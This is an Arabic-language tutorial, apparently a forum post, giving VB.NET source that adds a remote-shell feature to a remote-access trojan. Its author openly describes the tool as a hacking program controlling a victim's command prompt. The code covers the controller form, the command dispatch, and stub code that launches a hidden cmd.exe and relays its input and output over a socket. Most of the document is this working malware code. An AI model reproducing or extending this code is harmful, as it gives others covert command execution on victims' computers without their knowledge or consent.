السلام عليكم ورحمة الله وبركاتة
الخطوات :
1- عمل التصميم الخاص بك ويجب ان يحتوي علي
Richbox - Textbox (يمكن التعديل عليهم بالتعديل علي الكود المرفق)
2- الكود يوضع في الفورم الخاصة بل Cmd :
Private Sub RemoteShell_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles TextBox2.KeyDown, RichTextBox1.KeyDown, MyBase.KeyDown
If e.KeyCode = Keys.Enter Then
Form1.S.Send(sock, "rs" & "|U|" & ENB(TextBox2.Text))
TextBox2.Clear()
End If
End Sub
Private Sub RemoteShell_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
Form1.S.Send(sock, "rs" & "|U|" & ENB("exit"))
TextBox2.Clear()
Form1.S.Send(sock, "rsc" & "|U|")
End Sub
الملحوظات :
Form1 = الفورم الافتتاحي للبرنامج الاختراق
Remoteshell = اسم فورم التي انئتها لتحكم في Cmd لضحية
3- كود الارسال لسرفر يوضع في الفورم الاساسية/الافتتاحية للبرنامج :
For Each x As ListViewItem In L1.SelectedItems
S.Send(x.ToolTipText, "openshell")
Next
4- كود التعريف في الفورم الاساسية / الافتتاحية
Case "openshell"If My.Application.OpenForms("openshell" & sock) IsNot Nothing Then Exit SubIf Me.InvokeRequired ThenDim j As New _Data(AddressOf data)Me.Invoke(j, New Object() {sock, B})Exit SubEnd IfDim fm As New RemoteShellfm.sock = sockfm.Name = "openshell" & sockfm.Text = fm.Text & S.IP(sock)fm.Show()Case "rs"Dim sh As RemoteShell = My.Application.OpenForms("openshell" & sock)sh.RichTextBox1.AppendText(DEB(A(1)) & vbNewLine)Case "rsc"Dim sh As RemoteShell = My.Application.OpenForms("openshell" & sock)sh.Close()
5- كود التعريف في السيرفر/Stub:
انتهي الشرح
Case "openshell"
Try
Pro.Kill()
Catch ex As Exception
End Try
Pro = New Process
Pro.StartInfo.RedirectStandardOutput = True
Pro.StartInfo.RedirectStandardInput = True
Pro.StartInfo.RedirectStandardError = True
Pro.StartInfo.FileName = "cmd.exe"
Pro.StartInfo.RedirectStandardError = True
AddHandler CType(Pro, Process).OutputDataReceived, AddressOf RS
AddHandler CType(Pro, Process).ErrorDataReceived, AddressOf RS
AddHandler CType(Pro, Process).Exited, AddressOf ex
Pro.StartInfo.UseShellExecute = False
Pro.StartInfo.CreateNoWindow = True
Pro.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
Pro.EnableRaisingEvents = True
C.Send("openshell")
Pro.Start()
Pro.BeginErrorReadLine()
Pro.BeginOutputReadLine()
Case "rs"
Pro.StandardInput.WriteLine(DEB(A(1)))
Case "rsc"
Try
Pro.Kill()
Catch ex As Exception
End Try
Pro = Nothing
السلام عليكم ورحمة الله وبركاتة